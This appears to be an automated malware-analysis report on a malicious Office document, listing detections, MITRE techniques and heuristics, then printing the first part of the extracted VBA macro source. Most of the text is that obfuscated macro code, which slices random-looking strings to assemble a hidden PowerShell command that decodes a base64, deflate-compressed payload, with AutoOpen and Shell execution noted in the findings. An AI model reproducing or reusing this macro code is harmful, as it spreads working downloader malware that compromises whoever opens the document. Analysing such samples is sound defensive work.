MALICIOUS
310
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros. The macros utilize a Shell() call and reference PowerShell, indicating an attempt to execute a command. Specifically, the script attempts to construct and run a PowerShell command, likely to download and execute a secondary payload. The presence of AutoOpen and Shell() calls strongly suggests a malicious intent to compromise the user's system upon opening.
Heuristics 9
-
ClamAV: Doc.Malware.Valyria-6874680-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Valyria-6874680-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
' Line #350: ' Ld Shell ' Ld wdUqlpUj -
PowerShell reference in VBA critical OLE_VBA_PSPowerShell reference in VBAMatched line in script
Set Jrtmp = vnUvsw uGEVmG = "t75Pj7TI3G4Powershell -WinDowsTyle hidden ( NeW-ObJEeS9tTIkqdqmPNeLuitzySvxtocFMBYhAablbeNe0w0YiKmftxnC2M5piUG5q2Ne59bpl" ZELavYjrb = CStr(Left(Right(uGEVmG, 108), 40)) -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub Autoopen() On Error Resume Next -
Reference to PowerShell high SC_STR_POWERSHELLReference to PowerShell
-
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 109014 bytes |
SHA-256: f0bb37fed489a0a0567a7e179aebdd3c9f31d2d28e1783744131aad816f029b2 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
317 of 457 identifiers look randomly generated (e.g. 'buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xV4SuPChn') — consistent with name-mangling obfuscation. Carved artifact contains 6 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "jtaPPmcmFHDN"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function zwIuVw()
On Error Resume Next
JSLXckofuFY = unHYwi + CSng(673666) + 888120 / Sin(619610 - CByte(488516) / 644965 - Round(673666)) + owWOfZacF * DdTXBYiYJ - (888120 + 619610 + 488516 - 6736660)
Set Jrtmp = vnUvsw
uGEVmG = "t75Pj7TI3G4Powershell -WinDowsTyle hidden ( NeW-ObJEeS9tTIkqdqmPNeLuitzySvxtocFMBYhAablbeNe0w0YiKmftxnC2M5piUG5q2Ne59bpl"
ZELavYjrb = CStr(Left(Right(uGEVmG, 108), 40))
DNDVlzA = "7buOuY6fxhGRO9CBUK18uEhCBSMDdEZ2tV4SueCxlMWJ Io.StreacsmReaDEr( (Nt5jH5"
MOwVfG = Left(Right(DNDVlzA, 49), 1) + CStr(Left(Right(DNDVlzA, 40), 1)) + Left(Right(DNDVlzA, 28), 10) + Left(Right(DNDVlzA, 16), 11) + CStr(Left(Right(DNDVlzA, 35), 1))
QGbzAipiu = "jvudqW7buOuY6fxhGWO9CBUK-8uEhwBSMObJECt SuSySTEm.IzUj"
iTrTBwm = CStr(Left(Right(QGbzAipiu, 37), 1)) + CStr(Left(Right(QGbzAipiu, 30), 1)) + CStr(Left(Right(QGbzAipiu, 21), 8)) + CStr(Left(Right(QGbzAipiu, 11), 8))
ahuWDpOGP = "udqW7buOuY6fxhGRO9CBUK18oEhwBSMDdE.2xV4SuPCxlcOmPRessIonbh.DeFLATEstReUt5jH"
WSRJdjGz = Left(Right(ahuWDpOGP, 51), 1) + Left(Right(ahuWDpOGP, 41), 1) + CStr(Left(Right(ahuWDpOGP, 30), 11)) + CStr(Left(Right(ahuWDpOGP, 17), 11)) + CStr(Left(Right(ahuWDpOGP, 6), 1))
sMYIZA = GRhzZFOV + CSng(678002) + 799006 / Sin(426734 - CByte(690838) / 311181 - Round(678002)) + MXaMj * odRsCZZd - (799006 + 426734 + 690838 - 6780020)
Set wYvGPtKJ = wdwwaFoJbp
JdFKBbPkww = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEAmxV4SuPCxlM(JPzUjoYRabhcsu [SysteM.Io.MH5eMoRystrEAM][CQFsBYvC"
mqPAFplLaH = CStr(Left(Right(JdFKBbPkww, 63), 2)) + Left(Right(JdFKBbPkww, 51), 1) + Left(Right(JdFKBbPkww, 36), 13) + CStr(Left(Right(JdFKBbPkww, 21), 14)) + CStr(Left(Right(JdFKBbPkww, 45), 1))
OiYIu = "udqW7buOuY6fxhGRO9CNUK18uEhVBSMDdEZ2eRt]::FRlMOMBasE64sTbhcs"
NOhlITodwzZ = CStr(Left(Right(OiYIu, 41), 1)) + Left(Right(OiYIu, 33), 1) + CStr(Left(Right(OiYIu, 24), 8)) + CStr(Left(Right(OiYIu, 14), 9)) + Left(Right(OiYIu, 5), 1)
mrhsoVT = "jvudqW7buOuY6fxhrRO9CBUi18uEhwBNG('bVZxVtb9pIEP5WJP"
jnsWwVRKHG = Left(Right(mrhsoVT, 35), 1) + CStr(Left(Right(mrhsoVT, 28), 1)) + Left(Right(mrhsoVT, 20), 7) + CStr(Left(Right(mrhsoVT, 11), 8))
pwUHLFdL = Chr(43)
vluzwYw = "7buOuY6fxhGRO9CBUK18uEhwBSMDd0v2xV4SuPCxl0WJPzSjjYRabhcHqzoFIxLj9bst5jTVWohtHWvxzUhvnzQFsB"
EaMznRGHCm = CStr(Left(Right(vluzwYw, 61), 2)) + CStr(Left(Right(vluzwYw, 49), 1)) + CStr(Left(Right(vluzwYw, 35), 12)) + CStr(Left(Right(vluzwYw, 20), 14)) + Left(Right(vluzwYw, 44), 1)
qjNTJckIifn = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xV4SuPZFlMWJPzUjjYRabfcsuyCSde1j8DUt5jHHCICSTBdo2btKH89FsB3tmd8dw9BRtmJ3dnZ2K4AWR0UYP"
oNDiNNSoqJ = CStr(Left(Right(qjNTJckIifn, 79), 2)) + CStr(Left(Right(qjNTJckIifn, 64), 1)) + Left(Right(qjNTJckIifn, 46), 16) + Left(Right(qjNTJckIifn, 27), 18) + CStr(Left(Right(qjNTJckIifn, 57), 2))
ThAwAclRo = "jvueqWYbZOmY"
oHnsmnMcXSn = CStr(Left(Right(ThAwAclRo, 9), 1)) + CStr(Left(Right(ThAwAclRo, 6), 1)) + Left(Right(ThAwAclRo, 4), 1) + Left(Right(ThAwAclRo, 2), 1)
VfGmEMvfSv = OUBcVcmT + CSng(516721) + 874498 / Sin(673598 - CByte(582418) / 297156 - Round(516721)) + KaAqTpzQr * TdkdR - (874498 + 673598 + 582418 - 5167210)
Set bUWhn = wOhGzmwaIGi
KZutJmijG = Chr(43)
zpKCTEqlZNE = "7buOuY6fxhGRO9CBUK18uEhwBSMDdaL2xV4SuPCxltWJPzzjjYRabhcfA3a9fZrEP8Qt5jBSbtQ3JxQg263inzQFsB"
VMnBoiH = CStr(Left(Right(zpKCTEqlZNE, 61), 2)) + CStr(Left(Right(zpKCTEqlZNE, 49), 1)) + CStr(Left(Right(zpKCTEqlZNE, 35), 12)) + CStr(Left(Right(zpKCTEqlZNE, 20), 14)) + Left(Right(zpKCTEqlZNE, 44), 1)
TiEHf = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xV4djPCxlMWJPzUjjDRabhcrQyCSBt1j8D1MfWwgnXHg4jhQhdT51hO076GA6GSzswsOVbdzGLSX"
kpRdzi = Left(Right(TiEHf, 73), 2) + CStr(Left(Right(TiEHf, 59), 1)) + Left(Right(TiEHf, 42), 15) + CStr(Left(Right(TiEHf, 24), 16)) + CStr(Left(Right(TiEHf, 53), 2))
tmORMwBXTN = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xVASuPCxlMWJPzUjwYRabmjsuyCSBt1j7OOHRKaziAo/sYbCxdgYHrYI/AraTqewLnABVbdzG"
EicwIEhO = Left(Right(tmORMwBXTN, 71), 2) + Left(Right(tmORMwBXTN, 57), 1) + Left(Right(tmORMwBXTN, 41), 15) + Left(Right(tmORMwBXTN, 23), 15) + Left(Right(tmORMwBXTN, 52), 2)
zSVUS = "jvudqW7buOuYgfxhGRW9CBUKo8Gznwi4RJBVZ2x"
hHjZJiO = Left(Right(zSVUS, 27), 1) + CStr(Left(Right(zSVUS, 21), 1)) + Left(Right(zSVUS, 15), 5) + CStr(Left(Right(zSVUS, 9), 6))
MQSLw = Chr(43)
ZoCFTPpwdS = "7buOuY6fxhGRO9CBUK18uEhsBSMDdEZ2VV4Su8CxlMWJwoHfILO2j2cs8lN/LqwgSV3t5jH5"
FMOzXZPh = Left(Right(ZoCFTPpwdS, 49), 1) + CStr(Left(Right(ZoCFTPpwdS, 40), 1)) + Left(Right(ZoCFTPpwdS, 28), 10) + Left(Right(ZoCFTPpwdS, 16), 11) + CStr(Left(Right(ZoCFTPpwdS, 35), 1))
MWFDBmwR = Chr(43)
HKpBzjTCEiM = NzfObFY + CSng(392862) + 632934 / Sin(971837 - CByte(664992) / 65075 - Round(392862)) + fuUzzQ * wLwuiCEJcHU - (632934 + 971837 + 664992 - 3928620)
Set AijwXPA = ikwiD
lzuALbtp = "7buOuY6fxhGRO9CBUK18uEhJBSMDdEZ2oV4SuoCxlMWJZrQCtVG0Dlcss4jaWQriI7wt5jH5"
REsSNiM = Left(Right(lzuALbtp, 49), 1) + CStr(Left(Right(lzuALbtp, 40), 1)) + Left(Right(lzuALbtp, 28), 10) + Left(Right(lzuALbtp, 16), 11) + CStr(Left(Right(lzuALbtp, 35), 1))
TRMkC = "7buOuY6fxhGRO9CBUK18uGhwBSMDdEu2xi4SuPCxvD9Myvu0LYRB4WFqYfR/Pt1j8D"
miYQL = CStr(Left(Right(TRMkC, 45), 1)) + CStr(Left(Right(TRMkC, 36), 1)) + Left(Right(TRMkC, 26), 9) + Left(Right(TRMkC, 15), 10) + CStr(Left(Right(TRMkC, 33), 1))
wNlZqRwrj = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xV4Sr2CxlMWJPzUjjYzabhcsOtCSBt1j8DUs2pMO1JcYbWhfGnT5nze9RO3sGFq4mWWVFs9zGLSXK4A"
aNiQORXlVk = Left(Right(wNlZqRwrj, 75), 2) + Left(Right(wNlZqRwrj, 61), 1) + Left(Right(wNlZqRwrj, 44), 15) + CStr(Left(Right(wNlZqRwrj, 25), 17)) + CStr(Left(Right(wNlZqRwrj, 55), 2))
WAYEv = "jvudqWXbuODY6fc7WI39C"
uIMiwfITSu = Left(Right(WAYEv, 15), 1) + Left(Right(WAYEv, 11), 1) + CStr(Left(Right(WAYEv, 7), 3)) + CStr(Left(Right(WAYEv, 4), 2))
JoSVdQJDSw = Chr(43)
DDRKtZsVWV = "7buOuY6fxhGRO9CBUK18uEhwBSMDdESzxV4SuPCxlM8JPzUjdYRabhcsuSAZIUIQC9WZBTH5oa0SK8RNiTfI8HQFsBYvC"
vwWlOj = CStr(Left(Right(DDRKtZsVWV, 63), 2)) + Left(Right(DDRKtZsVWV, 51), 1) + Left(Right(DDRKtZsVWV, 36), 13) + CStr(Left(Right(DDRKtZsVWV, 21), 14)) + CStr(Left(Right(DDRKtZsVWV, 45), 1))
iMvOiFmDvfv = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEfIxV4SuPCxlM3JPzUjoYRabhcsuvjmZkVBtKXp/2H5L9t6krPgdl9pyZQFsBYvC"
tjjIiTWzW = CStr(Left(Right(iMvOiFmDvfv, 63), 2)) + Left(Right(iMvOiFmDvfv, 51), 1) + Left(Right(iMvOiFmDvfv, 36), 13) + CStr(Left(Right(iMvOiFmDvfv, 21), 14)) + CStr(Left(Right(iMvOiFmDvfv, 45), 1))
jqSTiOWdt = "RWsyjv"
CPwtwpEtws = CStr(Left(Right(jqSTiOWdt, 5), 1)) + CStr(Left(Right(jqSTiOWdt, 3), 1))
HcRSrjMQMN = Chr(43)
rQoqlDS = njKiJalnHU + CSng(480402) + 269678 / Sin(43387 - CByte(18607) / 198516 - Round(480402)) + mDjztJMGQ * qROJvVA - (269678 + 43387 + 18607 - 4804020)
Set wnKkLXPpvk = PPtzNTNIRuj
RnTMhVvdHo = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xV4SuPC6fMWJPzUjjYRabhcVuyCSBu6j8DUt5jH583p2msOFvIORHSV1prYvCXzulnu/KqiZ5mQ8DCtWR0UYPww9"
EobAFGV = Left(Right(RnTMhVvdHo, 81), 2) + CStr(Left(Right(RnTMhVvdHo, 65), 1)) + Left(Right(RnTMhVvdHo, 47), 17) + Left(Right(RnTMhVvdHo, 27), 18) + Left(Right(RnTMhVvdHo, 59), 2)
bmtzJfwYHI = "jvudqW7buOuY6fx5GRO9CBoK18uEhtW1Vg/IZ2h7Q9o8XxlM"
ZKFOrCUc = Left(Right(bmtzJfwYHI, 33), 1) + CStr(Left(Right(bmtzJfwYHI, 26), 1)) + CStr(Left(Right(bmtzJfwYHI, 19), 7)) + CStr(Left(Right(bmtzJfwYHI, 10), 7))
iZBrGO = "7buOuY6fxhGRO9CBUK18uEhwBSMD3vZ2xV4SuPCxgMWJWzUjjYRabhbHo7paDN9OxDUttN36fkkDrZ7TKdT5nzQ"
ZiGCvoL = CStr(Left(Right(iZBrGO, 59), 2)) + CStr(Left(Right(iZBrGO, 47), 1)) + Left(Right(iZBrGO, 34), 12) + CStr(Left(Right(iZBrGO, 19), 13)) + Left(Right(iZBrGO, 43), 1)
NDwqlZWZkS = "udqW7buOuY6fxhGRO9KBUK18uERwBSMDdEZEcJQaQFIxez23jk3/oYRab"
DHWVav = CStr(Left(Right(NDwqlZWZkS, 39), 1)) + CStr(Left(Right(NDwqlZWZkS, 31), 1)) + Left(Right(NDwqlZWZkS, 22), 8) + Left(Right(NDwqlZWZkS, 13), 8) + Left(Right(NDwqlZWZkS, 5), 1)
VArjlPMzwa = "jvudqW7buO9Y6fxtGRO9CP1398j22nbSM"
VRrqiUUsi = CStr(Left(Right(VArjlPMzwa, 23), 1)) + CStr(Left(Right(VArjlPMzwa, 18), 1)) + CStr(Left(Right(VArjlPMzwa, 12), 4)) + Left(Right(VArjlPMzwa, 7), 5)
HHiHTD = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEWRxV4SuPCxlMfJPzUjfYRabhcsuzo0DwzTgT7l6VH5ywHY0dMOphRBn1QFsBYvC"
cajmQlp = CStr(Left(Right(HHiHTD, 63), 2)) + Left(Right(HHiHTD, 51), 1) + Left(Right(HHiHTD, 36), 13) + CStr(Left(Right(HHiHTD, 21), 14)) + CStr(Left(Right(HHiHTD, 45), 1))
iuzElY = TNiZmWhti + CSng(308019) + 330033 / Sin(329825 - CByte(168956) / 4236 - Round(308019)) + TEzip * jStjNcM - (330033 + 329825 + 168956 - 3080190)
Set tpZKhw = isjomlOPcR
YVcXpCOjJWn = "7buOuY6fxhGRO9CBUK18uEYwBSMDdEZYxV4IuPCxlMPwF1EibV8hbhNaYJISn0NC8DUt5"
QLLSzbkRrfj = Left(Right(YVcXpCOjJWn, 47), 1) + Left(Right(YVcXpCOjJWn, 38), 1) + Left(Right(YVcXpCOjJWn, 27), 10) + CStr(Left(Right(YVcXpCOjJWn, 15), 10)) + CStr(Left(Right(YVcXpCOjJWn, 34), 1))
prhiU = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xITSuPCxlMWJPzYjjYRaHGcsuyCSBt6ElMSGq4BGWBSEhNWYkEwIpCGtkKlINwlsKnABVb"
bThkMdBEiIr = CStr(Left(Right(prhiU, 69), 2)) + Left(Right(prhiU, 56), 1) + CStr(Left(Right(prhiU, 40), 14)) + Left(Right(prhiU, 23), 15) + CStr(Left(Right(prhiU, 50), 2))
BSsmTnjivO = "jvudqW7buOuYDfxhGRE9CBUKlhTShwo4sBBiZ2x"
kHJcRkJXRh = Left(Right(BSsmTnjivO, 27), 1) + CStr(Left(Right(BSsmTnjivO, 21), 1)) + Left(Right(BSsmTnjivO, 15), 5) + CStr(Left(Right(BSsmTnjivO, 9), 6))
vJRzYTriB = "jvudJW7buOA16Lx"
DWlGHwbD = Left(Right(vJRzYTriB, 11), 1) + Left(Right(vJRzYTriB, 8), 1) + Left(Right(vJRzYTriB, 5), 2) + Left(Right(vJRzYTriB, 2), 1)
WPtdF = Chr(43)
anuBRPwZwz = "7buOuY6fxhGRO9CBUK18uEhwBSs2dEZ2xV4SuECxl2WJPzUjjYpINs2DARkn6t1AvyDshYSpnVAXhNWCx"
PozmUIUWi = Left(Right(anuBRPwZwz, 55), 2) + CStr(Left(Right(anuBRPwZwz, 44), 1)) + Left(Right(anuBRPwZwz, 31), 11) + CStr(Left(Right(anuBRPwZwz, 18), 12)) + CStr(Left(Right(anuBRPwZwz, 40), 1))
FdpDBTkouP = "7buOuY6fxhGRO9CBUK18uEhwBSMD0SZ2xV4SuPCxQMWJRzUjjYRabLClqUkqHgYrODUtRYCHMhgdEPVCkdT5nzQ"
SHAHWJctudN = CStr(Left(Right(FdpDBTkouP, 59), 2)) + CStr(Left(Right(FdpDBTkouP, 47), 1)) + Left(Right(FdpDBTkouP, 34), 12) + CStr(Left(Right(FdpDBTkouP, 19), 13)) + Left(Right(FdpDBTkouP, 43), 1)
ACNpobvdM = zjbUoQEiQD + CSng(156893) + 67919 / Sin(93090 - CByte(834471) / 369343 - Round(156893)) + CNimkRnB * zjdvNYJDT - (67919 + 93090 + 834471 - 1568930)
Set JNGiNwvO = EUAwNFzoi
zYsJPdYqYfS = "jvudqW7buOuYofxhGRg9CBUKmm0QbwvVbk60Z2x"
wDjJic = Left(Right(zYsJPdYqYfS, 27), 1) + CStr(Left(Right(zYsJPdYqYfS, 21), 1)) + Left(Right(zYsJPdYqYfS, 15), 5) + CStr(Left(Right(zYsJPdYqYfS, 9), 6))
lROzpIjP = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xV4SuPChnMWJPzUjjYRabhc6uyCSBsEj8DUt5jH58pwHESYPHfJXepCvGzYvCXVfC6awtcSQaUBqvDQWR0UYPww9"
rZmdEN = Left(Right(lROzpIjP, 81), 2) + CStr(Left(Right(lROzpIjP, 65), 1)) + Left(Right(lROzpIjP, 47), 17) + Left(Right(lROzpIjP, 27), 18) + Left(Right(lROzpIjP, 59), 2)
WjPpOQ = "7buOuY6fxhGRO9CBUK181EhwBSMDjEZ2PV4SuPRU4ZLMgi6jjWpwVWhj9WCSBt1"
LztbBOEL = Left(Right(WjPpOQ, 43), 1) + Left(Right(WjPpOQ, 35), 1) + Left(Right(WjPpOQ, 25), 9) + Left(Right(WjPpOQ, 14), 9) + Left(Right(WjPpOQ, 31), 1)
KjBEtXnJUYp = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xHpSuPCxlMWJPzpjjYRaAhcsuyCSBtCRkq2IUVK0UvlghNWVnCC/Q4l2LMSBIglsKnABVb"
lduIwZjol = CStr(Left(Right(KjBEtXnJUYp, 69), 2)) + Left(Right(KjBEtXnJUYp, 56), 1) + CStr(Left(Right(KjBEtXnJUYp, 40), 14)) + Left(Right(KjBEtXnJUYp, 23), 15) + CStr(Left(Right(KjBEtXnJUYp, 50), 2))
LqiQCVpF = "udqW7buOuY6fxhGRO9CXUK18uEh0BSMDdEZ2IvJ86gqMlMm0EJGEsWIRbhcs"
kOliwwoYO = CStr(Left(Right(LqiQCVpF, 41), 1)) + Left(Right(LqiQCVpF, 33), 1) + CStr(Left(Right(LqiQCVpF, 24), 8)) + CStr(Left(Right(LqiQCVpF, 14), 9)) + Left(Right(LqiQCVpF, 5), 1)
ifMWazoJ = "jvudqW7buOuY6IxhGROcCBUK18vc9lR5M7jmUQXV4S"
FABJijL = Left(Right(ifMWazoJ, 29), 1) + CStr(Left(Right(ifMWazoJ, 23), 1)) + Left(Right(ifMWazoJ, 16), 6) + Left(Right(ifMWazoJ, 9), 6)
mHSXhXqLf = "jvudqW7buXuY6fMhGROzzljK4Bbvhw"
wwYFmYufoTO = Left(Right(mHSXhXqLf, 21), 1) + Left(Right(mHSXhXqLf, 16), 1) + Left(Right(mHSXhXqLf, 11), 4) + Left(Right(mHSXhXqLf, 6), 4)
ONhroKib = jSIUJw + CSng(839516) + 411679 / Sin(556707 - CByte(277288) / 509233 - Round(839516)) + HIfjUJqD * jiPswJD - (411679 + 556707 + 277288 - 8395160)
Set uAFKH = KwnNm
UmifTauDPXc = Chr(43)
ZAlLsk = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2eF4SuPCxlMWJPbUjjYRibhcsuyCSz9Qc20lQhrqLr1MXhofXxQ7O9sNBrGPQCklsKnA"
ihZITt = CStr(Left(Right(ZAlLsk, 67), 2)) + CStr(Left(Right(ZAlLsk, 54), 1)) + Left(Right(ZAlLsk, 39), 14) + Left(Right(ZAlLsk, 22), 15) + Left(Right(ZAlLsk, 48), 1)
uznCKW = "7buOuY6fxhGRO9CBUK18uEhfBSMDdEZ2XV4SucCxlMWJqBZM1CCyoMcslM5o6c92QCot5jH5"
ZqOspDWc = Left(Right(uznCKW, 49), 1) + CStr(Left(Right(uznCKW, 40), 1)) + Left(Right(uznCKW, 28), 10) + Left(Right(uznCKW, 16), 11) + CStr(Left(Right(uznCKW, 35), 1))
BNJfPQioD = "udqW7buOuY6fxhGRO9CBUK18GEhwBSMDdEe2xV4SuPCxlmzcJKuKBHbzbh6xJ6m7N0HJWwUt5jH"
oDwSPzvfai = Left(Right(BNJfPQioD, 51), 1) + Left(Right(BNJfPQioD, 41), 1) + CStr(Left(Right(BNJfPQioD, 30), 11)) + CStr(Left(Right(BNJfPQioD, 17), 11)) + CStr(Left(Right(BNJfPQioD, 6), 1))
ifidZ = "7buOuY6fxhGRO9CBUK18uEhfBSMDdEZ2sV4Su/CxlMWJ9logZKJvzQcsY3WrNHefsgUt5jH5"
izXksN = Left(Right(ifidZ, 49), 1) + CStr(Left(Right(ifidZ, 40), 1)) + Left(Right(ifidZ, 28), 10) + Left(Right(ifidZ, 16), 11) + CStr(Left(Right(ifidZ, 35), 1))
EiaKhP = "7buOuY6fxhGRO9CBUK18uvhwBSMDdE/2xE4SuPCxeaZruqnJnYRcJvRKBDiSUt1j8D"
NdBhhuT = CStr(Left(Right(EiaKhP, 45), 1)) + CStr(Left(Right(EiaKhP, 36), 1)) + Left(Right(EiaKhP, 26), 9) + Left(Right(EiaKhP, 15), 10) + CStr(Left(Right(EiaKhP, 33), 1))
zwIuVw = ZELavYjrb + MOwVfG + iTrTBwm + WSRJdjGz + mqPAFplLaH + NOhlITodwzZ + jnsWwVRKHG + pwUHLFdL + EaMznRGHCm + oNDiNNSoqJ + oHnsmnMcXSn + KZutJmijG + VMnBoiH + kpRdzi + EicwIEhO + hHjZJiO + MQSLw + FMOzXZPh + MWFDBmwR + REsSNiM + miYQL + aNiQORXlVk + uIMiwfITSu + JoSVdQJDSw + vwWlOj + tjjIiTWzW + CPwtwpEtws + HcRSrjMQMN + EobAFGV + ZKFOrCUc + ZiGCvoL + DHWVav + VRrqiUUsi + cajmQlp + QLLSzbkRrfj + bThkMdBEiIr + kHJcRkJXRh + DWlGHwbD + WPtdF + PozmUIUWi + SHAHWJctudN + wDjJic + rZmdEN + LztbBOEL + lduIwZjol + kOliwwoYO + FABJijL + wwYFmYufoTO + UmifTauDPXc + ihZITt + ZqOspDWc + oDwSPzvfai + izXksN + NdBhhuT
End Function
Function EGtoc()
On Error Resume Next
JzkGVBwPvp = lCQkqHYQCV + CSng(233383) + 529351 / Sin(197778 - CByte(868646) / 656046 - Round(233383)) + qHAsOiakc * MnmwXIqaLim - (529351 + 197778 + 868646 - 2333830)
Set IvlPEjLFjZS = IcFcmToLM
ijwFIBIppwW = "udqW7buOuY6fxhGRO9LBUK18uEzwBSMDdEZIV5xMfEZxUE8sQSwT6YRab"
FcQwkX = CStr(Left(Right(ijwFIBIppwW, 39), 1)) + CStr(Left(Right(ijwFIBIppwW, 31), 1)) + Left(Right(ijwFIBIppwW, 22), 8) + Left(Right(ijwFIBIppwW, 13), 8) + Left(Right(ijwFIBIppwW, 5), 1)
JRzHVdqjPWO = "jvudqW7buOuY6mxhGROkCBUK18klyRkNMbxmLnMV4S"
piPrqqSi = Left(Right(JRzHVdqjPWO, 29), 1) + CStr(Left(Right(JRzHVdqjPWO, 23), 1)) + Left(Right(JRzHVdqjPWO, 16), 6) + Left(Right(JRzHVdqjPWO, 9), 6)
RuGqjuQRmwp = "jvudqW7buOuY6fVhGRO9eBUK18uEMuKrrIdYKQQ1GouPC"
znbuuKjw = CStr(Left(Right(RuGqjuQRmwp, 31), 1)) + CStr(Left(Right(RuGqjuQRmwp, 25), 1)) + Left(Right(RuGqjuQRmwp, 17), 6) + Left(Right(RuGqjuQRmwp, 10), 7)
kGXYo = Chr(43)
FappfDM = "jvudVW7ruOr664x"
LMqtfhnzZW = Left(Right(FappfDM, 11), 1) + Left(Right(FappfDM, 8), 1) + Left(Right(FappfDM, 5), 2) + Left(Right(FappfDM, 2), 1)
mELijTbCM = Chr(43)
NdCMmZRONkW = "udqW7buOuY6fxhGRO9WBUK18uEcwBSMDdEZ9DPXvLoFxgttDC1nnGYRab"
pIRuvTzAQ = CStr(Left(Right(NdCMmZRONkW, 39), 1)) + CStr(Left(Right(NdCMmZRONkW, 31), 1)) + Left(Right(NdCMmZRONkW, 22), 8) + Left(Right(NdCMmZRONkW, 13), 8) + Left(Right(NdCMmZRONkW, 5), 1)
Qubfi = Chr(43)
iwSbri = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEUsxV4SuPCxlM8JPzUj3YRabhcsu80cpFelsV30pJH5VZzG9iHb7tYVR6QFsBYvC"
ZzsLpCXLXcl = CStr(Left(Right(iwSbri, 63), 2)) + Left(Right(iwSbri, 51), 1) + Left(Right(iwSbri, 36), 13) + CStr(Left(Right(iwSbri, 21), 14)) + CStr(Left(Right(iwSbri, 45), 1))
HKFXQra = "jvudqW7buOaY6fq4l0T9C"
DmvWbGWD = Left(Right(HKFXQra, 15), 1) + Left(Right(HKFXQra, 11), 1) + CStr(Left(Right(HKFXQra, 7), 3)) + CStr(Left(Right(HKFXQra, 4), 2))
lGXTiaziGu = UIbaaQi + CSng(267765) + 814755 / Sin(947812 - CByte(159962) / 400365 - Round(267765)) + stCrfzG * WsTLZPjR - (814755 + 947812 + 159962 - 2677650)
Set aPfQAiO = ZIWYGUMj
wVljjBuNnt = Chr(43)
ViVhdn = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xVDguPCxlMWJPzUjVYRab5TsuyCSBt1j7yehtA63NG6WnSvCxdbq9eWLG2nLXvK7VnABVbdzG"
VwaAoKjW = Left(Right(ViVhdn, 71), 2) + Left(Right(ViVhdn, 57), 1) + Left(Right(ViVhdn, 41), 15) + Left(Right(ViVhdn, 23), 15) + Left(Right(ViVhdn, 52), 2)
rzXlFb = "jvuoqWhb3O8Y"
DljfDs = CStr(Left(Right(rzXlFb, 9), 1)) + CStr(Left(Right(rzXlFb, 6), 1)) + Left(Right(rzXlFb, 4), 1) + Left(Right(rzXlFb, 2), 1)
TPiziwwt = Chr(43)
MGqMbVl = "jvudqW7buOuYafxhGRR9CBUKADFdYwW0LTCGZ2x"
VDEmKWhSM = Left(Right(MGqMbVl, 27), 1) + CStr(Left(Right(MGqMbVl, 21), 1)) + Left(Right(MGqMbVl, 15), 5) + CStr(Left(Right(MGqMbVl, 9), 6))
WsGOIaoWYBb = "7buOuY6fxhGRO9CBUK18uEhtBSMDdEZ28V4SuQCxlMWJ9SN2tqoqHGcsQ8NhwOhfhs2t5jH5"
TPKtuCIKkN = Left(Right(WsGOIaoWYBb, 49), 1) + CStr(Left(Right(WsGOIaoWYBb, 40), 1)) + Left(Right(WsGOIaoWYBb, 28), 10) + Left(Right(WsGOIaoWYBb, 16), 11) + CStr(Left(Right(WsGOIaoWYBb, 35), 1))
FLwUziziB = "jvudqW7buOuY6fxhGFO9CBUKQ8uEhwBSMfmXubqbGSukN93RJ/szUj"
FfoaazEwsY = CStr(Left(Right(FLwUziziB, 37), 1)) + CStr(Left(Right(FLwUziziB, 30), 1)) + CStr(Left(Right(FLwUziziB, 21), 8)) + CStr(Left(Right(FLwUziziB, 11), 8))
lOjwQXPL = YcWTNTisa + CSng(365761) + 137986 / Sin(548261 - CByte(684256) / 963380 - Round(365761)) + ZZMDIVmOPQ * bQBSnlA - (137986 + 548261 + 684256 - 3657610)
Set CjMYOJb = zEFcQwBVAYL
BDkjikAwznG = "7buOuY6fxhGRO9CBUK18uEhwBSMDdgH2xV4SuPCxlpWJPzUjjYRabhc0VeV4Xyi7eVWt5jYqZLAbZgWRbiKnnzQFsB"
